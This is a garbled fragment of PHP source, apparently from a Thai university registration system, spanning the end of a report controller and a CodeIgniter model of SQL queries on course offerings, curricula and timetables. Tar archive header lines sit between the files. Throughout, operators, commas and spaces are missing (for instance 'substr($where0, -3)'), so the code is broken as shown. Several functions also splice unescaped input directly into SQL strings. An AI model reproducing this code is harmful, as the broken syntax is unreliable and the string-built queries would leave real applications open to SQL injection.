$this->load->model($this->config->item("rg_folder").'mo_rg_registdetails','rd');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_grade','grd');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_person','prs');

        
$this->co->coId $coId;
        
$this->co->get_by_key(TRUE);
        
$this->contents['qu_co'] = $this->co;

        
$this->c->crsId $this->co->coCrsId;
        
$this->c->get_by_key(TRUE);
        
$this->contents['qu_c'] = $this->c;

        if(
$this->co->coCurId) {
            
$this->cur->curId $this->co->coCurId;
            
$this->cur->get_by_key(TRUE);
            
$this->contents['pgNames'] = $this->cur->curName;
            
$curElvId $this->cur->curElvId;
        } else {
            
$cond = array('cofCoId' => $coId);
            
$rs_cof $this->cof->qryCofJoinCur($cond);
            
$k 1;
            
$pgNames '';
            
$curElvId '';
            foreach(
$rs_cof->result() as $row) {
                
$this->cur->curId $row->cofCurId;
                
$this->cur->get_by_key(TRUE);

                if(
$k == 0) {
                    
$pgNames $row->curName;
                } else {
                    
$pgNames .= ', '.$row->curName;
                }
                
$curElvId $row->curElvId;
                
$k++;
            }
            
$this->contents['pgNames'] = $pgNames;
        }

        
$this->contents['acY'] = $acY;
        
$this->contents['tmId'] = $tmId;
        
$this->contents['coId'] = $coId;

        
$this->contents['rs_rd'] = $this->rd->RSEnrollItemByClIdAndStudying($coId);
        
$this->contents['rd'] = $this->rd;
        
$cond2 = array('prsId' => $this->co->coPrsId);
        
$this->contents['qu_prs'] = $this->prs->qryPrsJoinPPC($cond2);

        
$this->output_pdf($this->config->item("rg_folder")."v_rptRis999");
    }


    public function 
ris999() {

        return;
    }
    
/* ##### รายงานรายชื่อนักศึกษาแยกตามรายวิชา #####*/
    
}
?>application/models/0040777000000000000000000000000013421311536011601 5ustar00application/models/eregis/0040777000000000000000000000000013435160321013056 5ustar00application/models/eregis/mo_rg_courseopen.php0100777000000000000000000010633413435155634017156 0ustar00<?php
include_once("da_rg_CourseOpen.php");

/**
 * Mo_rg_courseopen Class
 *
 * Class นี้ประกอบด้วยฟังก์ชั่นที่จัดการเกี่ยวกับตารางรายวิชาที่เปิดสอน
 *
 * @package    Curriculum
 * @subpackage Course
 */
class Mo_rg_courseopen extends Da_rg_CourseOpen {

    
/**
     * หน้าที่ของฟังก์ชั่น คือ ต่อสตริงของ sql->where
     *
     * @access    public
     * @param    array condition โดยรูปแบบของ array จะอยู่ในรูป condition('key' => value)
     * @return    string con โดยอยู่ในรูปแบบ WHERE $field='$value'
     * @todo    use
     */
    
public function checkConditionCo($condition="") {
        
$con "";
        if(
$condition) {
            
$con .= "WHERE";
            foreach(
$condition as $key => $value) {
                if(
$key=="coCurId")
                    
$con .= " $key IS $value AND";
                else
                    
$con .= " $key='$value' AND";
            }
        }
        return 
$con;
    }
    
    
/**
     * หน้าที่ของฟังก์ชั่น คือ หารายวิชาที่เปิดสอนตามเงื่อนไข
     *
     * @access    public
     * @param    array condition โดยรูปแบบของ array จะอยู่ในรูป condition('key' => value) ไว้สำหรับระบุเงื่อนไขของคำสั่ง SELECT
     * @param    array order โดยรูปแบบของ array จะอยู่ในรูป condition('key' => value) ไว้สำหรับระบุเงื่อนไขการเรียงลำดับ ORDER BY
     * @param    array group โดยรูปแบบของ array จะอยู่ในรูป condition('key' => value) ไว้สำหรับระบุเงื่อนไขการจัดกลุ่ม GROUP BY
     * @return    query >= 1 rows () : rg_CourseOpen.*
     * @todo    use
     */
    
public function qryCo($condition="",$order="",$group="") {
        
$where $this->checkCondition($condition);
        
$order $this->checkOrderBy($order);
        
$group $this->checkGroupBy($group);
        
        
$c1substr($where0, -3);
        
$c2substr($order0, -1);
        
$c3substr($group0, -1);

        
$sql "SELECT *
                FROM $this->rg_dbname.rg_CourseOpen
                $c1
                $c3
                $c2"
;
        
$query $this->db->query($sql);
        return 
$query;
    }

    public function 
get_options($condition="",$order="",$group=""$optional='y') {
        
$query $this->qryCo($condition,$order,$group);
        if(
$optional=='y'$opt[''] = '';
        foreach(
$query->result() as $row) {
            
$opt[$row->coAcY] = $row->coAcY;
        }
        return 
$opt;
    }

    function 
getSumNumSeatOpen($condition="") {
        
$where $this->checkCondition($condition);

        
$c1substr($where0, -3);

        
$sql "SELECT SUM(coNumSeatOpen) AS num 
                FROM $this->rg_dbname.rg_CourseOpen 
                $c1"
;
        
$query $this->db->query($sql);
        return 
$query->row()->num;
    }

    
/**
     * หน้าที่ของฟังก์ชั่น คือ หารายวิชาและชื่อรายวิชาที่เปิดสอน
     *
     * @access    public
     * @param    array condition โดยรูปแบบของ array จะอยู่ในรูป condition('key' => value) ไว้สำหรับระบุเงื่อนไขของคำสั่ง SELECT
     * @param    array order โดยรูปแบบของ array จะอยู่ในรูป condition('key' => value) ไว้สำหรับระบุเงื่อนไขการเรียงลำดับ ORDER BY
     * @param    array group โดยรูปแบบของ array จะอยู่ในรูป condition('key' => value) ไว้สำหรับระบุเงื่อนไขการจัดกลุ่ม GROUP BY
     * @return    query >= 1 rows () : rg_CourseOpen.*, rg_Course
     * @todo    use
     */
    
public function qryCoJoinCrs($condition="",$order="",$group="") {
        
$where $this->checkCondition($condition);
        
$order $this->checkOrderBy($order);
        
$group $this->checkGroupBy($group);
        
        
$c1substr($where0, -3);
        
$c2substr($order0, -1);
        
$c3substr($group0, -1);

        
$sql "SELECT *
                FROM $this->rg_dbname.rg_CourseOpen
                INNER JOIN $this->rg_dbname.rg_Course ON coCrsId=crsId
                $c1
                $c3
                $c2"
;
        
$query $this->db->query($sql);
        return 
$query;
    }

    
/**
     * หน้าที่ของฟังก์ชั่น คือ หารายวิชาที่เปิดสอน และนักศึกษามีการลงทะเบียนเรียนจริง
     *
     * @access    public
     * @param    array condition โดยรูปแบบของ array จะอยู่ในรูป condition('key' => value) ไว้สำหรับระบุเงื่อนไขของคำสั่ง SELECT
     * @param    array order โดยรูปแบบของ array จะอยู่ในรูป condition('key' => value) ไว้สำหรับระบุเงื่อนไขการเรียงลำดับ ORDER BY
     * @param    array group โดยรูปแบบของ array จะอยู่ในรูป condition('key' => value) ไว้สำหรับระบุเงื่อนไขการจัดกลุ่ม GROUP BY
     * @return    query >= 1 rows () : coId, crsId, crsCode, crsName, coNumSeatReg, coSection, crsUnit, coSendGradeStatus, coDeclareStatus, curId, curName
     * @todo    use
     */
     
public function qryCoJoinCrsCur($condition="",$order="",$group="") {
        
$where $this->checkCondition($condition);
        
$order $this->checkOrderBy($order);
        
$group $this->checkGroupBy($group);

        
$c1substr($where0, -3);
        
$c2substr($order0, -1);
        
$c3substr($group0, -1);

        
$sql "SELECT * 
                 FROM $this->rg_dbname.rg_CourseOpen 
                 INNER JOIN $this->rg_dbname.rg_Course ON coCrsId = crsId 
                 LEFT JOIN $this->rg_dbname.rg_Curriculum ON coCurId = curId 
                 $c1
                 $c3
                 $c2"
;
        
$query $this->db->query($sql);
        return 
$query;
    }

    
/**
     * หน้าที่ของฟังก์ชั่น คือ หารายวิชาที่เปิดสอน และจำนวนนักศึกษาที่ถูกจัดกลุ่มลงในรายวิชาตามเงื่อนไข 
     *
     * @access    public
     * @param    array condition โดยรูปแบบของ array จะอยู่ในรูป condition('key' => value) ไว้สำหรับระบุเงื่อนไขของคำสั่ง SELECT
     * @param    array order โดยรูปแบบของ array จะอยู่ในรูป condition('key' => value) ไว้สำหรับระบุเงื่อนไขการเรียงลำดับ ORDER BY  
     * @return    query >= 1 rows () ผลที่ได้ rg_CourseOpen.*, rg_Course.*, COUNT(cosCoId) AS numCos
     */
     
public function qryCo2($condition=""$order="") {
        
$qry1 $this->checkConditionCo($condition);
        
$qry2 $this->checkOrderBy($order);
        
        
$c1substr($qry10, -3);
        
$c2substr($qry20, -1);

        
$sql "SELECT $this->rg_dbname.rg_CourseOpen.*, $this->rg_dbname.rg_Course.*, COUNT(cosCoId) AS numCos
                FROM $this->rg_dbname.rg_CourseOpen
                INNER JOIN $this->rg_dbname.rg_Course ON coCrsId=crsId
                LEFT JOIN $this->rg_dbname.rg_CourseOpenStudent ON coId=cosCoId
                $c1
                GROUP BY coId
                $c2"
;
        
$query $this->db->query($sql);
        return 
$query;
     }

     
/**
     * หน้าที่ของฟังก์ชั่น คือ หารายละเอียดของวิชาที่เปิดสอน 
     *
     * @access    public
     * @param    array condition โดยรูปแบบของ array จะอยู่ในรูป condition('key' => value) ไว้สำหรับระบุเงื่อนไขของคำสั่ง SELECT
     * @withSetAttributeValue    boolean FALSE ไว้สำหรับ ยังไม่ทำการ row() query
     * @return    query = 1 row ผลที่ได้ rg_CourseOpen.*, rg_Course.*, rg_Curriculum.*, rg_Term.*, rg_StudyYear.*
     */
     
public function qryDetailCo($condition=""$withSetAttributeValue=FALSE) {
        
$qry1 $this->checkCondition($condition);

        
$c1 substr($qry10, -3);

        
$sql "SELECT *
                FROM $this->rg_dbname.rg_CourseOpen
                INNER JOIN $this->rg_dbname.rg_Course ON coCrsId=crsId
                LEFT JOIN $this->rg_dbname.rg_Curriculum ON coCurId=curId
                INNER JOIN $this->rg_dbname.rg_Term ON coTmId=tmId
                INNER JOIN $this->rg_dbname.rg_StudyYear ON coSyId=syId
                $c1"
;
        
$query $this->db->query($sql);
        if(
$withSetAttributeValue) {
            
$this->row2attribute($query->row());
        }else{
            return 
$query;
        }
     }

     
/**
     * @todo    use
     */
     
public function qryResponsibilityCo($condition="",$order="",$group="") {
        
$where $this->checkCondition($condition);
        
$order $this->checkOrderBy($order);
        
$group $this->checkGroupBy($group);

        
$c1substr($where0, -3);
        
$c2substr($order0, -1);
        
$c3substr($group0, -1);

        
$sql "SELECT *, 
                IF(prsItId=1, ps.fName, pso.fName) AS fName, 
                IF(prsItId=1, ps.lName, pso.lName) AS lName, 
                IF(prsItId=1, pf.prefixName, pfo.prefixName) AS prefixName 
                FROM $this->rg_dbname.rg_CourseOpen 
                INNER JOIN $this->rg_dbname. rg_Course ON coCrsId = crsId 
                LEFT JOIN $this->rg_dbname.rg_Person ON coPrsId = prsId 
                LEFT JOIN $this->ppc_dbname.Person ps ON prsUsId = ps.personId 
                LEFT JOIN $this->ppc_dbname.Prefix pf ON ps.prefixId = pf.prefixId 
                LEFT JOIN $this->ppc_dbname.Personout pso ON prsUsId = pso.psoutId 
                LEFT JOIN $this->ppc_dbname.Prefix pfo ON pso.prefixId = pfo.prefixId 
                $c1
                $c3
                $c2"
;
        
$query $this->db->query($sql);
        return 
$query;
     }

     
/**
     * หน้าที่ของฟังก์ชั่น คือ หารายชื่อวิชาที่เปิดสอน
     *
     * @access    public
     * @param    array condition โดยรูปแบบของ array จะอยู่ในรูป condition('key' => value) ไว้สำหรับระบุเงื่อนไขของคำสั่ง SELECT
     * @return    query = 1 row ผลที่ได้ rg_CourseOpen.*, rg_Course.*, peoplecenter.Person, peoplecenter.Prefix
     */
     
public function qryCoANDCrs($condition="") {
         
$qry $this->checkCondition($condition);

         
$con substr($qry0, -3);

         
$sql "SELECT *
                 FROM $this->rg_dbname.rg_CourseOpen
                 INNER JOIN $this->rg_dbname.rg_Course ON coCrsId=crsId
                 $con"
;
        
$query $this->db->query($sql);
        return 
$query;    
     }

     public function 
qryCourseOpenUnionCourseOpen($curId,$acY,$stY) {
        
$sql "select c.coTmId from $this->rg_dbname.rg_CourseOpen c 
                    where c.coCurId='$curId' and c.coAcY='$acY' and c.coSyId='$stY' 
                    group by c.coTmId 
                union 
                select c.coTmId from $this->rg_dbname.rg_CourseOpen c
                    INNER JOIN $this->rg_dbname.rg_CourseOpenFor f ON c.coId = f.cofCoId
                    where c.coCurId is null and c.coAcY='$acY' and c.coSyId='$stY' 
                    and f.cofCurId='$curId' 
                    group by c.coTmId"
;
        
$query $this->db->query($sql);
        return 
$query;
     }
 
    public function 
qryCourseOpenJoinCourseJoinTermByCurIdAndAcYAndstYAndSe($curId,$acY,$stY,$se){
        
$sql "SELECT c.*,$this->rg_dbname.rg_Term.*,$this->rg_dbname.rg_Course.* FROM $this->rg_dbname.rg_CourseOpen c 
                LEFT JOIN $this->rg_dbname.rg_Course ON coCrsId=crsId
                LEFT JOIN $this->rg_dbname.rg_Term ON tmId=coTmId
                WHERE c.coCurId=? AND c.coAcY=? AND c.coSyId=? 
                AND c.coTmId=? AND c.coNumSeatReg >0 
                GROUP BY c.coCrsId 
            union 
            SELECT c.*,$this->rg_dbname.rg_Term.*,$this->rg_dbname.rg_Course.* FROM $this->rg_dbname.rg_CourseOpen c 
                LEFT JOIN $this->rg_dbname.rg_Course ON coCrsId=crsId
                INNER JOIN $this->rg_dbname.rg_CourseOpenFor f ON c.coId=f.cofCoId 
                LEFT JOIN $this->rg_dbname.rg_Term ON tmId=coTmId
                WHERE c.coCurId is null AND c.coAcY=? AND c.coSyId=? 
                AND c.coTmId=? AND c.coNumSeatReg>0 
                AND f.cofCurId=? 
                GROUP BY c.coCrsId"
;
        
$query $this->db->query($sql,array($curId,$acY,$stY,$se,$acY,$stY,$se,$curId));
        
//echo $this->db->last_query()."<br><br>";
        
return $query;
    }
     
/**
     * หน้าที่ของฟังก์ชั่น คือ หาชื่อบุคคลที่เกี่ยวข้องกับรายวิชาที่เปิดสอน
     *
     * @access    public
     * @param    array condition โดยรูปแบบของ array จะอยู่ในรูป condition('key' => value) ไว้สำหรับระบุเงื่อนไขของคำสั่ง SELECT
     * @return    query = 1 row ผลที่ได้ rg_CourseOpen.*, rg_Course.*, peoplecenter.Person, peoplecenter.Prefix
     */
     
public function qryPersonInCourseOpen($condition1=""$condition2="") {
         
$qry1 $this->checkCondition($condition1);
         
$qry2 $this->checkCondition($condition2);

         
$con1 substr($qry10, -3);
         
$con2 substr($qry20, -3);

         
$sql "SELECT ttPrsId, ttCoId
                 FROM $this->rg_dbname.rg_TimeTable
                 $con1
                 UNION
                 SELECT coPrsId, coId
                 FROM $this->rg_dbname.rg_CourseOpen
                 $con2"
;
        
$query $this->db->query($sql);
        return 
$query;
     }
 
     public function 
qryCoANDCrsByCourseCodeAndAcYAndTmIdAndSec($courseCode,$acY,$tmId,$section) {
        
// echo "$courseCode,$acY,$tmId,$section <br />";
        
if($section>0) {
         
$sql "SELECT *
                 FROM $this->rg_dbname.rg_CourseOpen
                 INNER JOIN $this->rg_dbname.rg_Course ON coCrsId=crsId
                 WHERE crsCode LIKE ? AND coAcY = ? AND coTmId = ? AND coSection = ?
                 ORDER BY coCurId , crsCode , crsName"
;
        } else {
         
$sql "SELECT *
                 FROM $this->rg_dbname.rg_CourseOpen
                 INNER JOIN $this->rg_dbname.rg_Course ON coCrsId=crsId
                 WHERE crsCode LIKE ? AND coAcY = ? AND coTmId = ? 
                 ORDER BY coCurId , crsCode , crsName"
;
        }
        
$query $this->db->query($sql,array("%".$courseCode."%",$acY,$tmId,$section));
        return 
$query;    
     }


    
// หลังจากนี้เป็นฟังก์ชั่นก่อนวันที่ 6 ตุลาคม 2553

    /**
     * หน้าที่ของฟังก์ชั่น คือ หาชื่อรายวิชาที่เปิดสอน
     *
     * @access    public
     * @param    array condition โดยรูปแบบของ array จะอยู่ในรูป condition('key' => value) ไว้สำหรับระบุเงื่อนไขของคำสั่ง SELECT
     * @return    query >= 1 rows (rg_CourseOpen.*, rg_Course.*)
     */
    
public function qryCoGroupCrs($condition="") {
        
$qry $this->checkCondition($condition);

        
$c1 substr($qry0, -3);

        
$sql "SELECT *
                FROM $this->rg_dbname.rg_CourseOpen
                INNER JOIN $this->rg_dbname.rg_Course ON coCrsId=crsId
                $c1
                GROUP BY crsId"
;
        
$query $this->db->query($sql);
        return 
$query;
    }

    
/**
     * หน้าที่ของฟังก์ชั่น คือ หารายวิชา และอาจารย์ผู้สอน ประจำเมนูกำหนดรายวิชาที่เปิดสอน
     *
     * @access    public
     * @param    array condition โดยรูปแบบของ array จะอยู่ในรูป condition('key' => value) ไว้สำหรับระบุเงื่อนไขของคำสั่ง SELECT
     * @return    query >= 1 rows (rg_CourseOpen.*, crsId, crsCode, crsName, crsNameE, crsUnit, curId, curName)
     */
    
public function qryCoJoinCrs2($condition="") {
        
$qry $this->checkCondition($condition);
        
$con substr($qry0, -3);
        
$sql "SELECT $this->rg_dbname.rg_CourseOpen.*, crsId, crsCode, crsName, crsNameE, crsUnit
                FROM $this->rg_dbname.rg_CourseOpen
                LEFT JOIN $this->rg_dbname.rg_Course ON coCrsId=crsId
                $con"
;
        
$query $this->db->query($sql);
        return 
$query;
    }

    
/**
     * หน้าที่ของฟังก์ชั่น คือ หารายวิชาที่เปิดสอน และจำนวนนักศึกษาที่ถูกจัดกลุ่มแล้ว ประจำเมนูกำหนดรายวิชาที่เปิดสอน
     *
     * @access    public
     * @param    array condition โดยรูปแบบของ array จะอยู่ในรูป condition('key' => value) ไว้สำหรับระบุเงื่อนไขของคำสั่ง SELECT
     * @return    query >= 1 rows (rg_CourseOpen.*, rg_Course.*, count(cosStdId) AS num)
     */
    
public function qryCoAndCos($condition="") {
        
$qry $this->checkCondition($condition);
        
$con substr($qry0, -3);
        
$sql "SELECT $this->rg_dbname.rg_CourseOpen.*, $this->rg_dbname.rg_Course.*, count(cosStdId) AS num
                FROM $this->rg_dbname.rg_CourseOpen
                LEFT JOIN $this->rg_dbname.rg_CourseOpenStudent ON cosCoId=coId
                LEFT JOIN $this->rg_dbname.rg_Course ON coCrsId=crsId
                $con
                GROUP BY coId"
;
        
$query $this->db->query($sql);
        return 
$query;
    }

    
/**
     * หน้าที่ของฟังก์ชั่น คือ หารายวิชา จัดกลุ่มตามหลักสูตร
     *
     * @access    public
     * @param    sting course code
     * @param    int acad year
     * @param    int term id
     * @return    query >= 1 rows (rg_CourseOpen.*, crsId, crsCode, crsCodeE, crsName, crsNameE, crsUnit,
                ttId, ttPrsId, group_concat(pf.prefixName, pp.fname,' ', pp.lname), curId, curName)
     */
    
public function qryCoGroupCur($condition="") {
        
$qry $this->checkCondition($condition);
        
$con substr($qry0, -3);
        
$sql "SELECT $this->rg_dbname.rg_CourseOpen.*, curId, curName
                FROM $this->rg_dbname.rg_CourseOpen
                LEFT JOIN $this->rg_dbname.rg_Course ON coCrsId=crsId
                LEFT JOIN $this->rg_dbname.rg_Curriculum ON coCurId=curId
                $con
                GROUP BY curId"
;
        
$query $this->db->query($sql);
        return 
$query;
    }

    
/**
     * หน้าที่ของฟังก์ชั่น คือ หารายละเอียดของวิชาที่เปิดสอน
     *
     * @access    public
     * @param    array condition โดยรูปแบบของ array จะอยู่ในรูป condition('key' => value) ไว้สำหรับระบุเงื่อนไขของคำสั่ง SELECT
     * @return    query = 1 rows (rg_CourseOpen.*, rg_Course.*, curId, curName, curNameE, tmId, tmCode, tmName, syId, syCode, syName)
     */
    
public function qryCodetails($condition="") {
        
$qry $this->checkCondition($condition);
        
$con substr($qry0, -3);

        
$sql "SELECT $this->rg_dbname.rg_CourseOpen.*, $this->rg_dbname.rg_Course.*, curId, curName, curNameE, tmId, tmCode, tmName, syId, syCode, syName
                FROM $this->rg_dbname.rg_CourseOpen
                LEFT JOIN $this->rg_dbname.rg_Course ON coCrsId=crsId
                LEFT JOIN $this->rg_dbname.rg_Curriculum ON coCurId=curId
                LEFT JOIN $this->rg_dbname.rg_Term ON coTmId=tmId
                LEFT JOIN $this->rg_dbname.rg_StudyYear On coSyId=syId
                $con"
;
        
$query $this->db->query($sql);
        return 
$query;
    }

     
/**
     * หน้าที่ของฟังก์ชั่น คือ หาอาจารย์ผู้รับผิดชอบส่งเกรด
     *
     * @access    public
     * @param    array condition โดยรูปแบบของ array จะอยู่ในรูป condition('key' => value) ไว้สำหรับระบุเงื่อนไขของคำสั่ง SELECT
     * @return    query = 1 rows (rg_CourseOpen.*, rg_Course.*, curId, curName, curNameE, tmId, tmCode, tmName, syId, syCode, syName)
     */
//    public function qryCoresponsibility($condition="") {
//        $db_ppc = $this->load->database('ppc',TRUE);
//
//        $qry = $this->checkCondition($condition);
//        $con = substr($qry, 0, -3);
//
//        $sql = "SELECT *
//                FROM $this->rg_dbname.rg_CourseOpen
//                LEFT JOIN $this->ppc_dbname.Person AS pp ON coPrsId=pp.personId
//                LEFT JOIN $this->ppc_dbname.Prefix AS pf ON pp.prefixId=pf.prefixId
//                $con";
//        $query = $this->db->query($sql);
//        return $query;
//    }

     /**
     * หน้าที่ของฟังก์ชั่น คือ หารายวิชาที่ถูกเปิดสอน เฉพาะกลุ่มเรียนที่ 1
     *
     * @access    public
     * @param    $coCurId: รหัสหลักสูตร
     * @return    query >= 1 rows: rg_CourseOpen.*, rg_Course.*
     */
    
public function qryCoByCoSectionIs1ANDCoCurId($coCurId) {
        
$sql "SELECT *
                FROM $this->rg_dbname.rg_CourseOpen
                WHERE coSection=1
                AND (coCurId=? OR coCurId IS NULL)
                ORDER BY coAcY, coSyId, coTmId"
;
        
$query $this->db->query($sql,array($coCurId));
        return 
$query;
    }

    function 
qryCoByCurIdAcYSyIdTmIdCrsIdEmpty($curId$acY$syId$tmId$crsId) {
        
$sql "SELECT *
                        FROM $this->rg_dbname.rg_CourseOpen 
                        WHERE coCurId = ? 
                        AND coAcY = ? 
                        AND coSyId = ? 
                        AND coTmId = ? 
                        AND coCrsId = ? 
                        AND coNumSeatReg < coNumSeatOpen"
;
        
$query $this->db->query($sql, array($curId$acY$syId$tmId$crsId));
        return 
$query;
    }

    function 
qryCoByCurIdIsNullAcYSyIdTmIdCrsIdEmptyOpenFor($acY$syId$tmId$crsId$curId){
        
$sql "SELECT *
                        FROM $this->rg_dbname.rg_CourseOpen 
                        INNER JOIN $this->rg_dbname.rg_CourseOpenFor ON coId = cofCoId 
                        WHERE coCurId IS NULL 
                        AND coAcY = ? 
                        AND coSyId = ? 
                        AND coTmId = ? 
                        AND coCrsId = ? 
                        AND coNumSeatReg < coNumSeatOpen 
                        AND cofCurId = ? 
                        AND cofNumEnroll < cofSeats 
                        ORDER BY coId"
;
        
$query $this->db->query($sql, array($acY$syId$tmId$crsId$curId));
        return 
$query;
    }

    function 
qryCoByStdIdCoIdEmpty($stdId$coId) {
        
$sql "SELECT *
                        FROM $this->rg_dbname.rg_CourseOpenStudent 
                        INNER JOIN $this->rg_dbname.rg_CourseOpen ON cosCoId = coId 
                        WHERE cosStdId = ? 
                        AND cosCoId = ? 
                        AND coNumSeatReg < coNumSeatOpen"
;
        
$query $this->db->query($sql, array($stdId$coId));
        return 
$query;
    }

     
/**
     * หน้าที่ของฟังก์ชั่น คือ กำหนดค่าตัวเลือก(dropdown)
     * page จัดตารางสอน
     * @access    public
     * @param    ตัวแปรใดๆใน model นี้
     * @return    ตัวเลือก(dropdown) ตามค่า ของตัวแปร group
     */
//    function qry_optionCo($condition="",$order="",$group="",$optional='') {
//        $where = $this->checkConditionCo($condition);
//        $order = $this->checkOrderBy($order);
//        $group = $this->checkGroupBy($group);
//
//        $c1= substr($where, 0, -3);
//        $c2= substr($order, 0, -1);
//        $c3= substr($group, 0, -1);
//
//        $sql = "SELECT *
//                FROM $this->rg_dbname.rg_CourseOpen
//                LEFT JOIN $this->rg_dbname.rg_Curriculum ON coCurId = curId
//                LEFT JOIN $this->rg_dbname.rg_StudyYear ON coSyId = syId
//                LEFT JOIN $this->rg_dbname.rg_Course ON coCrsId = crsId
//                $c1
//                $c3
//                $c2";
//
//        $query = $this->db->query($sql);
//        $gp = array_keys($group);
//        if($optional!='') $opt[''] = $optional;
//        foreach($query->result() as $row) {
//            $opt[$row->$gp[0]] = $row->$gp[0];
//        }
//        return $opt;
//    }
    
function qry_optionCo($condition="",$order="",$group="",$optional='') {
        
$where2 $this->checkCondition($condition);
        
$order2 $this->checkOrderBy($order);
        
$group2 $this->checkGroupBy($group);

        
$c1substr($where20, -3);
        
$c2substr($order20, -1);
        
$c3substr($group20, -1);

        
$sql "SELECT *
                FROM rg_CourseOpen
                LEFT JOIN $this->rg_dbname.rg_Curriculum ON coCurId = curId
                LEFT JOIN $this->rg_dbname.rg_StudyYear ON coSyId = syId
                LEFT JOIN $this->rg_dbname.rg_Course ON coCrsId = crsId
                $c1
                $c3
                $c2"
;
            
        
$query $this->db->query($sql);

        
$key array_keys($group);
        
$val array_values($group);
        
$opt = array();
        if(
$optional!=''$opt[''] = $optional;
        foreach(
$query->result() as $row) {
            
//$opt[$row->crsId] = $row->cuName;
            
$showCode '';
            if( 
$val[0] == 'crsName')
                
$showCode $row->crsCode.' : ';
           
$opt[$row->$key[0]] = $showCode.$row->$val[0];
        }
        return 
$opt;

        
//return $query;
    
}

    function 
qryCoByCoCurIdIsNULL($condition="",$order="") {
        
$where $this->checkConditionCo($condition);
        
$order $this->checkOrderBy($order);

        
$c1substr($where0, -3);
        
$c2substr($order0, -1);

        
$sql "SELECT *
                FROM $this->rg_dbname.rg_CourseOpen
                LEFT JOIN $this->rg_dbname.rg_CourseOpenFor ON coId= cofCoId
                $c1
                $c2"
;
        
$query $this->db->query($sql);
        return 
$query;
    }

    function 
qryCoByCoCurIdIsNULLGrpCoId($coAcY,$coSyId,$coTmId,$coCdId1,$cofCurId) {
        
$sql "SELECT coCrsId, coCdId2, MIN(coId) AS coId
                FROM $this->rg_dbname.rg_CourseOpen
                LEFT JOIN $this->rg_dbname.rg_CourseOpenFor ON coId=cofCoId
                WHERE coCurId IS NULL
                AND coAcY=?
                AND coSyId=?
                AND coTmId=?
                AND coCdId1=?
                AND cofCurId=?
                GROUP BY coCrsId, coCdId2"
;
        
$query $this->db->query($sql,array($coAcY,$coSyId,$coTmId,$coCdId1,$cofCurId));
        return 
$query;
    }

    
/**
     * หน้าที่ของฟังก์ชั่น คือ หาจำนวนกลุ่มที่เปิดสอนสูงสุด ตามเงื่อนนไข
     *
     * @access    public
     * @param    array condition โดยรูปแบบของ array จะอยู่ในรูป condition('key' => value) ไว้สำหรับระบุเงื่อนไขของคำสั่ง SELECT
     * @param    array order โดยรูปแบบของ array จะอยู่ในรูป condition('key' => value) ไว้สำหรับระบุเงื่อนไขการเรียงลำดับ ORDER BY
     * @param    array group โดยรูปแบบของ array จะอยู่ในรูป condition('key' => value) ไว้สำหรับระบุเงื่อนไขการจัดกลุ่ม GROUP BY
     * @return    num จำนวนกลุ่มที่เปิดสอนมากสุด
     * @todo    use
     */
    
public function getMaxSection($condition="",$order="") {
        
$where $this->checkCondition($condition);
        
$order $this->checkOrderBy($order);

        
$c1substr($where0, -3);
        
$c2substr($order0, -1);

        
$sql "SELECT IFNULL(MAX(CAST(coSection AS SIGNED)), 0) AS num
                FROM $this->rg_dbname.rg_CourseOpen
                $c1
                $c2"
;
        
$query $this->db->query($sql);
        return 
$query->row()->num;
    }

    
//use ตารางสอนรวมประจำภาคการศึกษา 
    
function qryCurIdJOINTtCof($acY$tmId$wkNo){
        
$sql "SELECT coCurId, $this->rg_dbname.rg_Course.*, $this->rg_dbname.rg_Curriculum.*
                    FROM $this->rg_dbname.rg_CourseOpen
                    LEFT JOIN $this->rg_dbname.rg_TimeTable ON coId=ttCoId
                    INNER JOIN $this->rg_dbname.rg_Curriculum ON curId=coCurId
                    INNER JOIN $this->rg_dbname.rg_Course ON crsId =coCrsId
                    WHERE coCurId IS NOT NULL 
                    AND coAcY=?
                    AND coTmId=?
                    AND ttWdAcYWeekNo=?
                    GROUP BY coCurId
                UNION
                SELECT cofCurId, $this->rg_dbname.rg_Course.*, $this->rg_dbname.rg_Curriculum.*
                    FROM rg_CourseOpen
                    LEFT JOIN $this->rg_dbname.rg_TimeTable ON coId=ttCoId
                    LEFT JOIN $this->rg_dbname.rg_CourseOpenFor ON coId=cofCoId
                    INNER JOIN $this->rg_dbname.rg_Curriculum ON curId=cofCurId
                    INNER JOIN $this->rg_dbname.rg_Course ON crsId =coCrsId
                    WHERE coCurId IS NULL 
                    AND coAcY=?
                    AND coTmId=?
                    AND ttWdAcYWeekNo=?
                    GROUP BY cofCurId"
;
        
$query $this->db->query($sql, array($acY$tmId$wkNo,$acY$tmId$wkNo));
        return 
$query;
    }

    
//use ตารางสอนรวมประจำภาคการศึกษา
    
function qrySyIdJOINTtCofCurSy($curId$acY$tmId$wkNo) {
        
$sql "SELECT coSyId, syName 
                    FROM $this->rg_dbname.rg_CourseOpen
                    LEFT JOIN $this->rg_dbname.rg_TimeTable ON coId=ttCoId
                    LEFT JOIN $this->rg_dbname.rg_StudyYear ON syId = coSyId
                    WHERE coCurId=?
                    AND coAcY=?
                    AND coTmId=?
                    AND ttWdAcYWeekNo=?
                    GROUP BY coSyId
                UNION
                SELECT coSyId, syName
                    FROM $this->rg_dbname.rg_CourseOpen
                    LEFT JOIN $this->rg_dbname.rg_TimeTable ON coId=ttCoId
                    LEFT JOIN $this->rg_dbname.rg_CourseOpenFor ON coId=cofCoId
                    LEFT JOIN $this->rg_dbname.rg_StudyYear ON syId = coSyId
                    WHERE coCurId IS NULL
                    AND coAcY=?
                    AND coTmId=?
                    AND ttWdAcYWeekNo=?
                    AND cofCurId=?
                    GROUP BY coSyId"
;
        
$query $this->db->query($sql, array($curId$acY$tmId$wkNo,$acY$tmId$wkNo$curId));
        return 
$query;
    }

    
//use ตารางสอนรวมประจำภาคการศึกษา
    
function qryCoBetweenPr($curId$acY$syId$tmId$wkNo$pr) {
        
$this->load->database('rg',TRUE);
        
$sql "SELECT $this->rg_dbname.rg_CourseOpen.* , curName, rg_Course.*
                    FROM $this->rg_dbname.rg_CourseOpen
                    LEFT JOIN $this->rg_dbname.rg_TimeTable ON coId=ttCoId
                    LEFT JOIN $this->rg_dbname.rg_Curriculum ON curId=coCurId
                    LEFT JOIN $this->rg_dbname.rg_Course ON crsId =coCrsId
                    WHERE coCurId=?
                    AND coAcY=?
                    AND coSyId=?
                    AND coTmId=?
                    AND ttWdAcYWeekNo=?
                    AND ? BETWEEN ttPrdFrTime AND ttPrdToTime
                UNION
                SELECT $this->rg_dbname.rg_CourseOpen.* , curName, $this->rg_dbname.rg_Course.*
